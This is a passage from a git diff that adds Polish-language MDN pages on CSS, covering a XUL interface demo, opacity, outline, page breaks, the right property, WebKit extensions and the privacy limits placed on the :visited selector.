plik CSS, <code>style7.css</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że wkleiłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre>/*** XUL demonstration ***/ +window { + -moz-box-align: start; + background-color: -moz-dialog; + font: -moz-dialog; + padding: 2em; + } + +.head-1 { + font-weight: bold; + font-size: 200%; + padding-left: 5px; + } + + +/* the group box */ +.demo-group { + padding: 1em; + } + +.demo-group grid { + margin-bottom: 1em; + } + +.demo-group column { + margin-right: .5em; + } + +.demo-group row { + margin-bottom: .5em; + } + +.demo-group .buttons { + -moz-box-pack: end; + } + + +/* the day-of-week labels */ +.day { + margin-left: 1em; + } + +.day[disabled] { + color: #777; + } + +.day:first-child { + margin-left: 4px; + } + + +/* the left column labels */ +.text-prompt { + padding-top: .25em; + } + + +/* the date input box */ +#date-text { + max-width: 8em; + } + + +/* the status bar */ +statusbar { + width: 100%; + border: 1px inset -moz-dialog; + margin: 4px; + padding: 0px 4px; + } + +#status { + padding: 4px; + } + +#status[warning] { + color: red; + } +</pre></div> +<p>Stwórz nowy plik tekstowy, <code>script7.js</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre>// XUL demonstration + +var dateBox, dayBox, currentDay, status; // elements + +// called by window onLoad +function init() { + dateBox = document.getElementById("date-text") + dayBox = document.getElementById("day-box") + status = document.getElementById("status") + setToday(); + } + +// called by Clear button +function clearDate() { + dateBox.value = "" + refresh() + } + +// called by Today button +function setToday() { + var d = new Date() + dateBox.value = (d.getMonth() + 1) + + "/" + d.getDate() + + "/" + d.getFullYear() + refresh() + } + +// called by Date textbox +function refresh() { + var d = dateBox.value + var theDate = null + + showStatus(null) + if (d != "") { + try { + var a = d.split("/") + var theDate = new Date(a[2], a[0] - 1, a[1]) + showStatus(theDate) + } + catch (ex) {} + } + setDay(theDate) + } + +// internal +function setDay(aDate) { + if (currentDay) currentDay.setAttribute("disabled", "true") + if (aDate == null) currentDay = null + else { + var d = aDate.getDay() + currentDay = dayBox.firstChild + while (d-- > 0) currentDay = currentDay.nextSibling + currentDay.removeAttribute("disabled") + } + dateBox.focus() + } + +function showStatus(aDate) { + if (aDate == null) { + status.removeAttribute("warning") + status.setAttribute("label", "") + } + else if (aDate === false || isNaN(aDate.getTime())) { + status.setAttribute("warning", "true") + status.setAttribute("label", "Date is not valid") + } + else { + status.removeAttribute("warning") + status.setAttribute("label", aDate.toLocaleDateString()) + } + } +</pre></div> +<p>Aby zobaczyć właściwy wynik, użyj domyślnego motywu w swojej przeglądarce. +Jeżeli użyjesz innego, może on zmieniać trochę style interfejsu użytkownika i demonstracja może wyglądać dziwnie. +</p><p>Otwórz ten dokument w przeglądarce Mozilli i skorzystaj z interfejsu. +</p><p>To wiki nie obsługuje XUL-a ani JavaScript-u na stronach, nie jest więc możliwe pokazanie demonstracji tutaj. +Wygląda ona mniej więcej tak: +</p> +<table style="border: 2px outset #36b; background-color: threedface; padding: 1em; cursor: default; white-space: nowrap; margin: .5em 0;"> +<tbody><tr> +<td><p style="font-size: 150%; font-weight: bold; margin: 0; padding: 0;">XUL demonstration</p> +<div style="position: relative; border: 2px groove threedhighlight; margin-top: 1em;"> +<p style="float: left; margin: -1em 0 0 .5em; padding: 0; background-color: threedface;"> +Day of week calculator</p> +<table style="background-color: threedface; margin: .5em; padding-right: .5em;"> +<tbody><tr> +<td style="padding-right: .5em;"><u>D</u>ate: +</td><td style="background-color: white; border: 1px solid #000; width: 8em; float: left; cursor: text; padding: .15em .25em;">6/27/2005 +</td></tr> +<tr> +<td>Day:</td><td style="color: graytext;">Sunday <span style="color: #000;">Monday</span> Tuesday Wednesday Thurdsay Friday Saturday +</td></tr> +<tr> +<td> +</td><td><div style="float: right; margin-top: .5em;"> +<p><span style="border: 2px outset threedface; padding: .25em 1em;"><u>C</u>lear</span> +<span style="border: 2px outset threedface; padding: .25em 1em;"><u>T</u>oday</span> +</p> +</div> +</td></tr></tbody></table> +</div> +<div style="border: 1px inset threedface; margin-top: 1em;"> +<p style="margin: 0; padding: .25em .5em;">June 27, 2005</p> +</div> +</td></tr></tbody></table> +<p>Uwagi dotyczące demonstracji: +</p> +<ul><li>Dokument XUL posiada odnośniki do arkuszy stylów, a także do skryptów. +</li><li>Skrypt nie jest zbyt ważny w tej demonstracji. +</li><li>Większość stylu, który widzisz, jest określona przez motyw graficzny przeglądarki. +</li></ul> +<p>Sprawdź arkusz stylów dokumentu, aby upewnić się, że rozumiesz wszystkie reguły w nim zawarte. +Jeżeli jest jakaś reguła, której nie rozumiesz, wykomentuj ją i odśwież przeglądarkę, aby zobaczyć różnicę. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Korzystając z Inspektora DOM sprawdź kontrolkę bloku tekstowego Date. Jest ona złożona z elementów stworzonych przez jej wiązanie XBL. +<p>Znajdź <i>klasę</i> elementu <code>html:input</code>. To jest element, który przyjmuje dane od użytkownika. +</p><p>Korzystając z tej wiedzy, dodaj regułę do arkusza stylów, która sprawia, że tło pola Date będzie jasno niebieskie kiedy jest ono aktywne dla klawiatury (ale białe kiedy jest nieaktywne). +</p> +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony, lub jeżeli masz jakieś komentarze na jej temat, pomóż nam dopisując się na stronie <a>Dyskusji</a>. +</p><p>W tej demonstracji, widzisz standardowe, prostokątne kształty, które są wspólne dla większości interfejsów użytkownika. +Mozilla wspiera także specjalny język graficzny do tworzenia kształtów, którego styl tworzy się w CSS-ie. +</p><p>Demonstruje to następna strona: <b><a href="pl/CSS/Na_pocz%c4%85tek/Grafika_SVG">Grafika SVG</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/XUL_user_interfaces", "fr": "fr/CSS/Premiers_pas/Interfaces_utilisateur_XUL", "pt": "pt/CSS/Como_come\u00e7ar/Interfaces_de_usu\u00e1rio_XUL" } ) }} diff --git a/files/pl/web/css/opacity/index.html b/files/pl/web/css/opacity/index.html new file mode 100644 index 0000000000..9b3e1504ff --- /dev/null +++ b/files/pl/web/css/opacity/index.html @@ -0,0 +1,180 @@ +--- +title: opacity +slug: Web/CSS/opacity +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/opacity +--- +<div>{{ CSSRef() }}</div> + +<h2 id="Podsumowanie">Podsumowanie</h2> + +<p>Parametr<code> opacity</code> ustala przezroczystość elementu, czyli stopień, w jakim są widoczne elementy za określonym elementem.</p> + +<ul> + <li><span class="lang lang-en">Wartość początkowa: 1 (nieprzezroczysty)</span></li> + <li>Dotyczy: wszystkie elementy</li> + <li><span class="lang lang-en">Dziedziczone: nie</span></li> + <li>Media: <span class="lang lang-en"> <code><a href="../../en/CSS/Media/Visual" rel="custom">visual</a></code> </span></li> + <li><span class="lang lang-en">Wartość obliczona</span>: ustalona liczba (w zakresie [<code>0.0</code>, <code>1.0</code>])</li> +</ul> + +<h2 id="Składnia">Składnia</h2> + +<pre class="eval">opacity: <em>number</em> | inherit ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>0 (lub mniej)</dt> + <dd>Element jest w pełni przezroczysty (niewidoczny)</dd> + <dt>0 < liczba < 1</dt> + <dd>Element jest półprzezroczysty (tło może być widoczne)</dd> + <dt>1 (lub więcej)</dt> + <dd>Element jest w pełni nieprzezroczysty (jednolity)</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + opacity: 0.5; /* zobacz tło poprzez hbox */ +} +</pre> + +<h4 id="Przykład_kompatybilny_z_różnymi_przeglądarkami">Przykład kompatybilny z różnymi przeglądarkami</h4> + +<pre style="">pre { /* make the box translucent (20% nieprzezroczystości) */ + border: solid red; + opacity: 0.2; + filter: alpha(opacity=20); /* IE8 i starsze */ + zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */ +} +</pre> + +<pre style="">pre { /* make the box translucent (50% nieprzezroczystości) */ + border: solid red; + opacity: 0.5; + filter: alpha(opacity=50); /* IE8 i starsze */ + zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */ +} +</pre> + +<pre style="">pre { /* make the box translucent (80% nieprzezroczystości) */ + border: solid red; + opacity: 0.8; + filter: alpha(opacity=80); /* IE8 i starsze */ + zoom: 1; /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */ +} +</pre> + +<h4 id="Różna_nieprzezroczystość_z_hover">Różna nieprzezroczystość z :hover</h4> + +<pre class="deki-transform"><html> +<head> +<style> +img.opacity { + opacity: 1; + filter: alpha(opacity=50); + zoom: 1; + } + +img.opacity:hover { + opacity: 0.5; + filter: alpha(opacity=100); + zoom: 1; + } +</style> +</head> + +<body> +<img src="//developer.mozilla.org/media/img/mdn-logo.png" alt="MDN logo" width="128" height="146" class="opacity" /> +</body> +</html> +</pre> + +<h2 id="Browser_Compatibility" name="Browser_Compatibility">Kompatybilność z przeglądarkami</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Element</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td rowspan="3">Podstawowe wsparcie</td> + <td rowspan="3">1.0</td> + <td rowspan="3">{{ CompatGeckoDesktop("1.7") }}</td> + <td>9.0</td> + <td rowspan="3">9.0</td> + <td rowspan="3">1.2 (125)</td> + </tr> + <tr> + <td>8.0<br> + <code>filter: alpha(opacity=xx)<br> + filter: "alpha(opacity=xx)" </code><br> + (oba to synonimy)</td> + </tr> + <tr> + <td>4.0<br> + <code>filter: alpha(opacity=xx)</code></td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table" style="height: 156px; width: 827px;"> + <tbody> + <tr> + <th>Element</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td rowspan="3">Podstawowe wsparcie</td> + <td rowspan="3">1.0</td> + <td rowspan="3">{{ CompatGeckoMobile("1.7") }}</td> + <td>9.0</td> + <td rowspan="3">9.0</td> + <td rowspan="3">3.2</td> + </tr> + <tr> + <td>8.0<br> + <code>filter: alpha(opacity=xx)<br> + filter: "alpha(opacity=xx)" </code><br> + (oba to synonimy)</td> + </tr> + <tr> + <td>4.0<br> + <code>filter: alpha(opacity=xx)</code></td> + </tr> + </tbody> +</table> +</div> + +<ul> + <li>Przed wersją 9, Internet Explorer nie wspierał <code>opacity</code>, zamiast tego należało używać <code>filter</code>.</li> + <li>IE supports also the extended form <code>progid:DXImageTransform.Microsoft.Alpha(Opacity=xx)</code>. This is needless, so don't use it.</li> + <li>IE8 wprowadził <code>-ms-filter</code>, jednak jest to synonim do <code>filter</code>. Nie używaj wersji z prefiksem.</li> + <li><code>-moz-opacity</code>, <code>-khtml-opacity</code> nie są wspierane od początku 2004 roku.<br> + Konqueror zaczął wspierać <code>opacity</code> od wersji 4.0. Nie używaj więcej <code>-khtml-opacity</code> ani <code>-moz-opacity</code>.</li> +</ul> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<ul> + <li>{{ spec("http://www.w3.org/TR/css3-color/#transparency","CSS 3 Color: opacity", "REC") }}</li> +</ul> diff --git a/files/pl/web/css/outline-offset/index.html b/files/pl/web/css/outline-offset/index.html new file mode 100644 index 0000000000..025d8295a1 --- /dev/null +++ b/files/pl/web/css/outline-offset/index.html @@ -0,0 +1,42 @@ +--- +title: outline-offset +slug: Web/CSS/outline-offset +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/outline-offset +--- +<div>{{CSSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach Mozilli <code>-moz-outline-offset</code> jest używane do ustawienia odstępu między konturem a krawędzią lub obramowaniem elementu. Kontur jest linią rysowaną wokół elementów, na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p> + +<p>{{cssinfo}}</p> + +<p>Odstęp będzie przezroczysty (rodzic określi tło).</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">-moz-outline-offset: <liczba> | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><number></dt> + <dd>Szerokość odstępu.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>hbox.example { + /* Odsuwa kontur 2px od obramowania */ + -moz-outline-offset: 2px; +} +</pre> + +<p> </p> diff --git a/files/pl/web/css/outline/index.html b/files/pl/web/css/outline/index.html new file mode 100644 index 0000000000..42bf295b72 --- /dev/null +++ b/files/pl/web/css/outline/index.html @@ -0,0 +1,57 @@ +--- +title: outline +slug: Web/CSS/outline +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/outline +--- +<div> +<div>{{CSSRef}}</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Gecko <code>-moz-outline</code> jest używany do ustawiania konturu elementu. Kontur jest linią rysowaną na zewnątrz krawędzi obramowania w celu wyróżnienia elementu.</p> + +<div>{{cssinfo}}</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">-moz-outline: [<em>-moz-outline-color</em> || <em>-moz-outline-style</em> || <em>-moz-outline-width</em> | inherit]; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>-moz-outline-color</dt> + <dd>Ustawia kolor konturu. Zobacz {{ Cssxref("-moz-outline-color") }}.</dd> + <dt>-moz-outline-style</dt> + <dd>Ustawia styl konturu. Zobacz {{ Cssxref("-moz-outline-style") }}.</dd> + <dt>-moz-outline-width</dt> + <dd>Ustawia szerokość konturu. Zobacz {{ Cssxref("-moz-outline-width") }}.</dd> +</dl> + +<h2 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h2> + +<ul> + <li>{{ Cssxref("-moz-outline-color") }} ustawia kolor konturu.</li> + <li>{{ Cssxref("-moz-outline-offset") }} odsuwa kontur od elementu.</li> + <li>{{ Cssxref("-moz-outline-radius") }} ustawia zaokrąglenie rogów konturu.</li> + <li>{{ Cssxref("-moz-outline-radius-bottomleft") }} ustawia zaokrąglenie dolnego lewego rogu.</li> + <li>{{ Cssxref("-moz-outline-radius-bottomright") }} ustawia zaokrąglenie dolnego prawego rogu.</li> + <li>{{ Cssxref("-moz-outline-radius-topleft") }} ustawia zaokrąglenie górnego lewego rogu.</li> + <li>{{ Cssxref("-moz-outline-radius-topright") }} ustawia zaokrąglenie górnego prawego rogu.</li> + <li>{{ Cssxref("-moz-outline-style") }} ustawia styl konturu.</li> + <li>{{ Cssxref("-moz-outline-width") }} ustawia szerokość konturu.</li> +</ul> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre class="brush:css">hbox.example { + /* ciągły czerwony kontur o szerokości 10px */ + -moz-outline: red solid 10px; +}</pre> diff --git a/files/pl/web/css/page-break-after/index.html b/files/pl/web/css/page-break-after/index.html new file mode 100644 index 0000000000..b8b3dbbb63 --- /dev/null +++ b/files/pl/web/css/page-break-after/index.html @@ -0,0 +1,101 @@ +--- +title: page-break-after +slug: Web/CSS/page-break-after +tags: + - CSS + - druk +translation_of: Web/CSS/page-break-after +--- +<div>{{ CSSRef() }}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Akapit podsumowania. Właściwość CSS <code>page-break-after</code> dostosowuje łamanie stron CSS <em>po</em> bieżącym elemencie.</p> + +<ul class="cssprop"> + <li><dfn>{{ Xref_cssinitial() }}</dfn> {{ Cssxref("auto") }}</li> + <li><dfn>Stosowana do</dfn> elementów blokowych</li> + <li><dfn>{{ Xref_cssinherited() }}</dfn> nie</li> + <li><dfn>Media</dfn> {{ Xref_cssvisual() }}</li> + <li><dfn>{{ Xref_csscomputed() }}</dfn> według życzenia</li> +</ul> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">page-break-after: auto | always | avoid | left | right | inherit +</pre> + +<h2 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h2> + +<dl> + <dt>auto</dt> + <dd>{{ Xref_cssinitial() }}. Samoczynne łamanie stron (dozwolone ale nie wymuszone).</dd> + <dt>always</dt> + <dd>Zawsze wymusza łamanie strony po elemencie.</dd> + <dt>avoid {{ Unimplemented_inline() }}</dt> + <dd>Unika łamania stron po elemencie.</dd> + <dt>left {{ Unimplemented_inline() }}</dt> + <dd>Wymusza takie łamanie strony po elemencie, że następna strona złoży się jako lewa.</dd> + <dt>right {{ Unimplemented_inline() }}</dt> + <dd>Wymusza takie łamanie strony po elemencie, że następna strona złoży się jako prawa.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>/* przejdź do następnej strony po przypisach */ +DIV.footnotes { page-break-after:always; }</pre> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>---</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/">W3C Cascading Style Sheets, level 2 revision 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS1">W3C Cascading Style Sheets, level 1</a> (secondary)</li> + <li><a class="external" href="http://www.w3.org/Style/CSS/current-work">W3C Cascading Style Sheets, level 3</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<p>(Próbna tabela kompatybilności)</p> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4.0</td> + </tr> + <tr> + <td>Firefox</td> + <td>?</td> + </tr> + <tr> + <td>Netscape</td> + <td>?</td> + </tr> + <tr> + <td>Opera</td> + <td>7.0</td> + </tr> + <tr> + <td>Safari</td> + <td>1.2</td> + </tr> + <tr> + <td>Konqueror</td> + <td>4.7.2</td> + </tr> + </tbody> +</table> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>(zastąp własność) {{ Cssxref("page-break-before") }}, {{ Cssxref("page-break-inside") }}, {{ Cssxref("orphans") }}, {{ Cssxref("widows") }}, {{ bug("132035") }}</li> +</ul> diff --git a/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html b/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html new file mode 100644 index 0000000000..fad2ac55d1 --- /dev/null +++ b/files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html @@ -0,0 +1,68 @@ +--- +title: 'Prywatność i znacznik :visited' +slug: 'Web/CSS/Prywatnosc_i_znacznik_:visited' +translation_of: 'Web/CSS/Privacy_and_the_:visited_selector' +--- +<div>{{cssref}}</div> + +<p>Przed mniej więcej rokiem 2010, <a href="/en-US/docs/Web/CSS">CSS</a>-owy znacznik {{ cssxref(":visited") }} pozwalał stronom WWW na ujawnianie historii przeglądania użytkownika i które ze stron odwiedził. Było to możliwe przez {{domxref("window.getComputedStyle")}} i inne techniki. Proces ten działał błyskawicznie i pozwalał nie tylko na ujawnienie, co użytkownik robił w sieci, ale również pozwalał na dowiedzenie się wielu informacji o jego tożsamości.</p> + +<p>By załagodzić ten problem, w {{ Gecko("2") }} zaimplementowano aktualizacje dot. prywatności celem ograniczenia ilości informacji zbieranych przez odwiedzone linki. W przypadku innych przeglądarek dokonano podobnych zmian.</p> + +<h2 id="Małe_białe_kłamstewka">Małe, białe kłamstewka</h2> + +<p>By chronić prywatność użytkowników, Firefox i inne przeglądarki będą kłamać aplikacjom webowym w przypadku zaistnienia poniższych okoliczności:</p> + +<ul> + <li>Metoda <code>window.getComputedStyle</code> i podobne funkcje, jak {{ domxref("element.querySelector") }} zawsze zwrócą wartości wykazujące, jakoby użytkownik nigdy nie odwiedził żadnego z linku danej strony.</li> + <li>Jeśli użyjesz selektora rodzeństwa, jak <code>:visited + span</code>, element sąsiedni (w omawianym przypadku <code>span</code>) zostanie ostylowany w sposób właściwy dla linka nieodwiedzonego.</li> + <li>W rzadkich przypadkach, jeśli zastosujesz zagnieżdżone elementy linków i okaże się, że dobrany element jest inny, niż link, którego obecność w historii jest testowana, element zostanie wyrenderowany również, jakby nigdy nie był wcześniej odwiedzany.</li> +</ul> + +<h2 id="Limits_to_visited_link_styles">Limits to visited link styles</h2> + +<p>You can style visited links, but there are limits to which styles you can use. Only the following styles can be applied to visited links:</p> + +<ul> + <li>{{ cssxref("color") }}</li> + <li>{{ cssxref("background-color") }}</li> + <li>{{ cssxref("border-color") }} (and its sub-properties)</li> + <li>{{ cssxref("column-rule-color") }}</li> + <li>{{ cssxref("outline-color") }}</li> + <li>The color parts of the {{SVGAttr("fill")}} and {{SVGAttr("stroke")}} attributes</li> +</ul> + +<p>In addition, even for the above styles, you won't be able to change the transparency between unvisited and visited links, as you otherwise would be able to using <code><a href="/en-US/docs/Web/CSS/color_value#rgba()">rgba()</a></code>, <code><a href="/en-US/docs/Web/CSS/color_value#hsla()">hsla()</a></code>, or the <code><a href="/en-US/docs/Web/CSS/color_value#transparent">transparent</a></code> keyword.</p> + +<p>Here is an example of how to use styles with the aforementioned restrictions:</p> + +<pre class="brush: css">:link { + outline: 1px dotted blue; + background-color: white; + /* The default value of background-color is `transparent`. You need to + specify a different value, otherwise changes on :visited won't apply. */ +} + +:visited { + outline-color: orange; /* Visited links have an orange outline */ + background-color: green; /* Visited links have a green background */ + color: yellow; /* Visited links have yellow colored text */ +} +</pre> + +<h2 id="Impact_on_web_developers">Impact on web developers</h2> + +<p>Overall, these restrictions shouldn't affect web developers too significantly. They may, however, require the following changes to existing sites:</p> + +<ul> + <li>Using background images to style links based on whether they've been visited will no longer work, since only colors can be used to style visited links.</li> + <li>Colors that are otherwise transparent will fail to appear if styled in a <code>:visited</code> selector.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="external" href="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/" title="http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/">privacy-related changes coming to CSS :visited</a> on Mozilla Hacks</li> + <li><a class="external" href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/" title="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">Plugging the CSS History Leak</a> on the Mozilla Security Blog</li> + <li><a class="external" href="http://dbaron.org/mozilla/visited-privacy">Preventing attacks on a user's history through CSS :visited selectors</a></li> +</ul> diff --git a/files/pl/web/css/right/index.html b/files/pl/web/css/right/index.html new file mode 100644 index 0000000000..8ba4fb3b11 --- /dev/null +++ b/files/pl/web/css/right/index.html @@ -0,0 +1,148 @@ +--- +title: right +slug: Web/CSS/right +tags: + - CSS + - CSS Property + - Własność CSS + - border +translation_of: Web/CSS/right +--- +<div>{{CSSRef}}</div> + +<p>Własność <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <code>right</code> pełni ważną rolę w określaniu pionowej pozycji pozycjonowanego elementu. Nie ma wpływu na elementy z nieokreślonym położeniem.</p> + +<p>{{EmbedInteractiveExample("pages/css/right.html")}}</p> + + + +<p>Efekt <code>right</code> jest zależny od pozycji elementu (czyli od własności <code>position </code>elementu).</p> + +<ul> + <li>When <code>position</code> is set to <code>absolute</code> or <code>fixed</code>, the <code>right</code> property specifies the distance between the element's right edge and the right edge of its containing block.</li> + <li>When <code>position</code> is set to <code>relative</code>, the <code>right</code> property specifies the distance the element's right edge is moved to the left from its normal position.</li> + <li>When <code>position</code> is set to <code>sticky</code>, the <code>right</code> property behaves like its <code>position</code> is <code>relative</code> when the element is inside the viewport, and like its <code>position</code> is <code>fixed</code> when it is outside.</li> + <li>When <code>position</code> is set to <code>static</code>, the <code>right</code> property has <em>no effect</em>.</li> +</ul> + +<p>When both {{cssxref("left")}} and <code>right</code> are defined, and the element cannot stretch to satisfy both, the position of the element is<em> overspecified</em>. When this is the case, the <code>left</code> value has precedence when the container is left-to-right; the <code>right</code> value has precedence when the container is right-to-left.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="brush:css no-line-numbers">/* Wartość liczbowa (długość) */ +right: 3px; +right: 2.4em; + +/* Wartość procentowa */ +right: 10%; + +/* Wartość kluczowa */ +right: auto; + +/* Wartości globalne */ +right: inherit; +right: initial; +right: unset; +</pre> + +<h3 id="Values" name="Values">Values</h3> + +<dl> + <dt>{{cssxref("<length>")}}</dt> + <dd>Negatywna, pozytywna lub o wartości <code>null </code>długość, która dla:</dd> + <dd> + <ul> + <li>elementów z <code>position: absolute</code>, określa odległość do prawej krawędzi rodzica</li> + <li>elementów z <code>position: relative</code>, określa czy element jest przeniesiony do lewej krawędzi jej normalnej (domyślnej) pozycji</li> + </ul> + </dd> + <dt>{{cssxref("<percentage>")}}</dt> + <dd>Wartość procentowa określa procentową odległość w stosunku do szerokości rodzica. </dd> + <dt></dt> + <dt><code>auto</code></dt> + <dd>Specifies that: + <ul> + <li>for <em>absolutely positioned elements</em>, the position of the element is based on the {{Cssxref("left")}} property, while <code>width: auto</code> is treated as a width based on the content; or if <code>left</code> is also <code>auto</code>, the element is positioned where it should horizontally be positioned if it were a static element.</li> + <li>for <em>relatively positioned elements</em>, the distance of the element from its normal position is based on the {{Cssxref("left")}} property; or if <code>left</code> is also <code>auto</code>, the element is not moved horizontally at all.</li> + </ul> + </dd> + <dt><code>inherit</code></dt> + <dd>Specifies that the value is the same as the computed value from its parent element (which might not be its containing block). This computed value is then handled as if it were a {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or the <code>auto</code> keyword.</dd> +</dl> + +<h3 id="Formal_syntax">Formal syntax</h3> + +<pre class="syntaxbox">{{csssyntax}}</pre> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<pre class="brush: css; highlight:[16]">#example_3 { + width: 100px; + height: 100px; + background-color: #FFC7E4; + position: relative; + top: 20px; + left: 20px; +} + +#example_4 { + width: 100px; + height: 100px; + background-color: #FFD7C2; + position: absolute; + bottom: 10px; + right: 20px; +}</pre> + +<pre class="brush: html"><div id="example_3">Example 3</div> +<div id="example_4">Example 4</div> +</pre> + +<p>{{ EmbedLiveSample('Examples', 500, 220) }}</p> + +<h2 id="Specifications" name="Specifications">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td> + <td>{{Spec2('CSS3 Transitions')}}</td> + <td>Definiuje <code>right </code>jako animatable (możliwy do animowania)</td> + </tr> + <tr> + <td>{{SpecName('CSS3 Positioning', '#propdef-right', 'right')}}</td> + <td>{{Spec2('CSS3 Positioning')}}</td> + <td> + <p>Określa zachowanie dla <code>sticky position</code>.</p> + </td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td> + <p>Initial definition.</p> + </td> + </tr> + </tbody> +</table> + +<p>{{cssinfo}}</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarkami</h2> + + + +<p>{{Compat("css.properties.right")}}</p> + +<h2 id="Zobacz_jeszcze">Zobacz jeszcze</h2> + +<ul> + <li>{{cssxref("position")}}, {{cssxref("left")}}, {{cssxref("top")}}, {{cssxref("bottom")}}</li> +</ul> diff --git a/files/pl/web/css/rozszerzenia_webkit/index.html b/files/pl/web/css/rozszerzenia_webkit/index.html new file mode 100644 index 0000000000..0b60bd4475 --- /dev/null +++ b/files/pl/web/css/rozszerzenia_webkit/index.html @@ -0,0 +1,358 @@ +--- +title: Rozszerzenia WebKit +slug: Web/CSS/Rozszerzenia_WebKit +tags: + - CSS + - Referencje CSS +translation_of: Web/CSS/WebKit_Extensions +--- +<div>{{CSSRef}}</div> + +<p>Webkit wspiera wiele rozszerzeń dedykowanych <a href="/en-US/docs/Web/CSS">CSS</a> opatrzonych prefiksem <code>-webki</code>t. Wszystkie właściwości opatrzone prefiksem <code>-webkit</code> działają również z prefiksem <code>-apple</code>.</p> + +<p>Niektóre z tych właściwości zostały zawarte w szkicu specyfikacji CSS w celu włączenia do ostatecznej rekomendacji, ale są one jeszcze eksperymentalne. Niektóre z tych niestandardowych właściwości nie wchodzą w skład linii standardowo obowiązującej.</p> + +<h2 id="Jednostki_z_prefiksem_WebKit_obowiązującego_standardu">Jednostki z prefiksem WebKit obowiązującego standardu</h2> + +<div class="index"> +<h3 id="A_–_C">A – C</h3> + +<ul> + <li>{{cssxref("-webkit-column-count")}}</li> + 